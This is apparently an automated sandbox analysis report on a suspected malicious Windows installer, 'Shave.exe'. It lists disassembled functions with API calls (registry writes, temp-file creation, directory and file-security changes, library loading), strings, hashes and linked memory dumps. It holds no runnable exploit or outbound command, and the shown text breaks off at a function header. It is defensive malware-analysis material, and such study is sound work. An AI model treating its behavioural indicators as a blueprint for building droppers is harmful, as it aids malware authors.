Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 65f2176863960af248fb2a7cbd18121a9a3b282edca47cb762b3bdaa43f9a997
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 14F0217050121967CB10AB68DD0DFDB376CA700304F10447AB547F10D1EBBDDA65CB98

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403204
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 0040322D
wsprintfW.USER32 ref: 00403240

Strings

... %d%%, xrefs: 0040323A

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction ID: 204c6f4639eb8c290f7f343d6ac391169eef919077521cdf394e4ce58078bb87
Opcode Fuzzy Hash: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction Fuzzy Hash: 7A518931900219EBCB10DF65DA84A9F7FA8AB44366F1441BBED14B62C0D7789F50CBA9

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811
GetLastError.KERNEL32 ref: 00405825
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040583A
GetLastError.KERNEL32 ref: 00405844

Strings

C:\Users\user\Desktop, xrefs: 004057CE

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-1246513382
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 32cc50e607dd20b61f2ed470817bc290d965520901a5db6b5155953f1fdd03ed
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: B1010872C10619DADF00AFA1C9447EFBBB8EF14355F00803AD945B6281E77896188FA9

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DDA
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\Shave.exe",0040336A,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004035B6), ref: 00405DF5

Strings

"C:\Users\user\Desktop\Shave.exe", xrefs: 00405DBC
nsa, xrefs: 00405DC9
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC1, 00405DC5

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\Shave.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1393458418
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 33897e7ea40e9bcc5f45ceb9d35bf1368e2cdd1c67b8b6f6c5069f2428d8a25f
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: D4F03076610304FBEB009F69DD05F9FBBB8EB95710F10803AED40E7250E6B1AA54CBA4

Function 6F97177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F971B63: GlobalFree.KERNEL32(?), ref: 6F971DB6
Part of subcall function 6F971B63: GlobalFree.KERNEL32(?), ref: 6F971DBB
Part of subcall function 6F971B63: GlobalFree.KERNEL32(?), ref: 6F971DC0

GlobalFree.KERNEL32(00000000), ref: 6F971829
FreeLibrary.KERNEL32(?), ref: 6F9718AF
GlobalFree.KERNEL32(00000000), ref: 6F9718D4

Part of subcall function 6F972356: GlobalAlloc.KERNEL32(00000040,?), ref: 6F972387

Part of subcall function 6F972728: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6F9717FA,00000000), ref: 6F9727F8

Part of subcall function 6F9715C6: lstrcpyW.KERNEL32(?,6F974020,00000000,6F9715C3,?,00000000,6F971753,00000000), ref: 6F9715DC

Strings

, xrefs: 6F9718B5

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: ff8049d681f18227f17e75359568fca9300cb05573f3c84091fbf22aff7a9dc4
Instruction ID: 8cffa029382c8b981e21115a883d925e08adb8a9fa88be85353ba627df19ce3d
Opcode Fuzzy Hash: ff8049d681f18227f17e75359568fca9300cb05573f3c84091fbf22aff7a9dc4
Instruction Fuzzy Hash: 96418B71404304DBDB389F3498A4BD677ACBB17724F044566E95A9E1C7DFB8E0C48B60

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000023,?,00000000,00000002,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nsa5D43.tmp, xrefs: 00402420, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsa5D43.tmp
API String ID: 2655323295-1113152414
Opcode ID: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction ID: 82080937d165882f0efaaa77ae0bb3c7350c3cd8b3028382441b60bd8f3f090b
Opcode Fuzzy Hash: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction Fuzzy Hash: 60118171D00104BEEF10AFA5DE89EAEBAB4EB44754F11803BF504B71D1DBB88D419B28

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,?,75923420,004059C9,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 004057CE: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne
API String ID: 1892508949-613682384
Opcode ID: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction ID: 83f66e59323efd8676d207054edf3c08df55f1f8244358cc2c8da33562713246
Opcode Fuzzy Hash: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction Fuzzy Hash: 1811D031504500EBCF20BFA1CD0199E36A0EF15329B28493FFA45B22F1DB3E89919A5E

Function 00405273 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052A2
CallWindowProcW.USER32(?,?,?,?), ref: 004052F3

Part of subcall function 0040425A: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040426C

Strings

, xrefs: 00405283

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction ID: beea61cd65c8703650dc93cdae6e0720761c29505c5582e3341eda9a3c117467
Opcode Fuzzy Hash: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction Fuzzy Hash: BD01BC71200608AFEB208F11DD80AAB3B25EF85355F20807FFA01761D0C73A8C919F2E

Function 00401FFA Relevance: 4.6, APIs: 3, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 941ee5e4d2dd291ec8cc4df06cb0aa63c1aa92b31a4513dbbbd606f9940ae0f3
Instruction ID: 96c9f76e6636b9c2d25b0b1467c2954fc3cee1ad24e3c7ba74a0f8c29babf82b
Opcode Fuzzy Hash: 941ee5e4d2dd291ec8cc4df06cb0aa63c1aa92b31a4513dbbbd606f9940ae0f3
Instruction Fuzzy Hash: 9531C731D00205EACF21AFA1DE4899E7A71BF44354F24813BF115B61E1CBB98952DB69

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 913a1641bf1678fd544d2f354cdad38cfe4f2c05cfad93494d599300ab092abb
Instruction ID: ae3691a386166457dd68fa0d34360560a99e353b90efe6619b1f582ab4c46bbf
Opcode Fuzzy Hash: 913a1641bf1678fd544d2f354cdad38cfe4f2c05cfad93494d599300ab092abb
Instruction Fuzzy Hash: 9B219973600100DBDB20EF94DD8595E77A4AB44318735053FF102F32D0DBB8A8909BAD

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D
LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNEL32(?,?,000000F7,?,?,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Library$FreeHandleLoadModule
String ID:
API String ID: 2140536961-0
Opcode ID: 8fcabb61ffb99872d1cb9b65f1cb7f04ab46d08011be29023730949652e91217
Instruction ID: 4ef3947a4f3b15eeb1edbcf2825d86a3d57027b1e8ef6f61f5e5c173a0dbc30c
Opcode Fuzzy Hash: 8fcabb61ffb99872d1cb9b65f1cb7f04ab46d08011be29023730949652e91217
Instruction Fuzzy Hash: 54114271D00205ABCF20AFA5CA8859E7A71BF04345F64853BF501F61E0DBB98D91DB69

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00020019), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction ID: aff41db5cb1f43c080787ec2daae132adce55f0eb50407644cc943dfdce05a74
Opcode Fuzzy Hash: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction Fuzzy Hash: 59018471904204BFEB149F95DE88ABF7ABCEF80348F14803EF505B61D0DAB85E419B69

Function 6F972A74 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

